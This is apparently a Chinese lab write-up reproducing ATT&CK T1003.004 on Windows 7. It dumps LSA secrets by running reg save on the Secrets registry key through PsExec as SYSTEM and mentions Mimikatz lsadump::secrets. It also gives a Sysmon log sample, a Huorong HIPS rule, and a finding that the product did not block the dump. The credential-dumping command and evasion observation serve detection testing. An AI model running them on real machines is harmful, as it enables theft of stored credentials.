0x01 基础信息
具体信息 | 详情 |
---|---|
ATT&CK编号 | T1003-004 |
所属战术阶段 | 凭据访问 |
操作系统 | windows 7 旗舰版 SP1 |
创建时间 | 2022年12月2日 |
监测平台 | 火绒安全、火绒剑、sysmon |
0X02 技术原理
对主机具有 SYSTEM 访问权限的攻击者可能会尝试访问本地安全机构 (LSA) 机密,其中可能包含各种不同的凭证材料,例如服务帐户的凭证。
LSA 机密存储在注册表中的HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
. LSA 机密也可以从内存中转储。(引用:ired Dumping LSA Secrets)
Reg可用于从注册表中提取。Mimikatz可用于从内存中提取秘密。(引用:ired Dumping LSA Secrets)
0x03 复现环境
工具列表 | 相关链接 |
---|---|
sysmon日志记录工具 | https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon |
sysmon默认规则文件 | https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml |
sysmon安装命令 | sysmon64.exe -accepteula -i sysmonconfig-export.xml |
攻击条件 | 已经获取管理员权限的shell |
0x04 复现过程
从 Windows 注册表中转储密钥成功后,转储文件将写入 $env:Temp\secrets。攻击者可能会使用密钥来协助提取密码和枚举其他敏感系统信息。
LSA Secrets 是一个注册表位置,其中包含本地安全机构使用的重要数据,如身份验证、登录用户到主机、本地安全策略等。此信息存储在以下注册表项中。
HKEY_LOCAL_MACHINE/Security/Policy/Secrets
由于信息的敏感性,Windows 正在使用权限保护对注册表中 Security 文件夹的访问。默认情况下,只有 SYSTEM 帐户可以访问 LSA Secrets 注册表位置。
为管理员帐户授予适当的权限并重新打开注册表将显示安全文件夹中包含的所有子文件夹。
此位置包含以加密格式登录的帐户的密码。但是,反向密码的密钥存储在父密钥中:Policy。
HKEY_LOCAL_MACHINE/Security/Policy
名字 | 描述 | 默认值 |
---|---|---|
psexec.exe | PsExec 可执行文件的路径 | Path To swordheart Folder\T1003.004\PsExec.exe |
- 攻击命令
psexec.exe -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y
- 获取先决条件命令
#从互联网下载PSTools.zip
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip"
#从指定的存档 (压缩) 文件中提取文件
Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force
#创建文件夹
New-Item -ItemType Directory (Split-Path #{psexec.exe}) -Force | Out-Null
#复制文件到此目录
Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec.exe} -Force
使用 psexec 将 reg.exe 作为系统运行并转储 LSA 机密
具有SYSTEM权限的攻击者可能会尝试转储 LSA 机密,其中可能包含一系列不同的凭据,例如服务帐户凭据。
也可以使用Mimikatz 的lsadump::secrets命令从内存中转储LSA 机密,在使用 Mimikatz 的 lsadump 模块转储 LSA 机密之前,您可能需要使用token:: elevate命令来模拟SYSTEM令牌。
0x05 检测方法
1.日志特征
Process Create:
RuleName: -
UtcTime: 2022-12-06 06:27:11.124
ProcessGuid: {366efb63-0000-0000-04a7-170000000000}
ProcessId: 1444
Image: C:\Users\Administrator\Desktop\T1003-004\PsExec.exe
FileVersion: 2.4
Description: Execute processes remotely
Product: Sysinternals PsExec
Company: Sysinternals - www.sysinternals.com
OriginalFileName: psexec.c
CommandLine: PsExec.exe -accepteula -s reg save HKLM\security\policy\secrets secrets
CurrentDirectory: C:\Users\Administrator\Desktop\T1003-004\
User: SWORDHEART\Administrator
LogonGuid: {366efb63-0000-0000-2872-100000000000}
LogonId: 0x107228
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=CB8A14388E1DA3956849D638AF50FE9D,SHA256=08C6E20B1785D4EC4E3F9956931D992377963580B4B2C6579FD9930E08882B1C,IMPHASH=9DCB7567A35DBB52EF2F98731BD1CD47
ParentProcessGuid: {366efb63-0000-0000-6f96-170000000000}
ParentProcessId: 2692
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe"
ParentUser: SWORDHEART\Administrator
2.攻击日志
在针对注册表进行操作的时候,并没有触发火绒的拦截行为
0x06 处置方法与规则编写
1.处置方法
通过自定义规则去限制通过cmd使用reg去转储secrets注册表项中的内容
2.火绒规则编写
进行测试后,发现并不能触发火绒防护策略
{
"ver":"5.0",
"tag":"hipsuser",
"data":[
{
"id":10,
"power":1,
"name":"T1003-004-操作系统凭据转储:LSA机密",
"procname":"C:\\Windows\\System32\\cmd.exe",
"treatment":1,
"policies":[
{
"montype":1,
"action_type":15,
"res_path":"C:\\Windows\\system32\\reg.exe"
},
{
"montype":2,
"action_type":15,
"res_path":"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\SideBySide\\*"
},
{
"montype":2,
"action_type":15,
"res_path":"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\*"
}
]
}
]
}
0x07 总结
从以上实验可以看出,正常来说,LSA 允许应用程序以用户权限运行,但是我们可以使用 psexec 将 reg.exe 作为系统权限运行并转储 LSA 机密,通过psexec和mimikatz的token:: elevate可以提升系统的权限,转储LSA的机密信息。攻击者可能会使用密钥来协助提取密码和枚举其他敏感系统信息,通过psexec可以绕过火绒防护,轻松获取LSA的机密信息。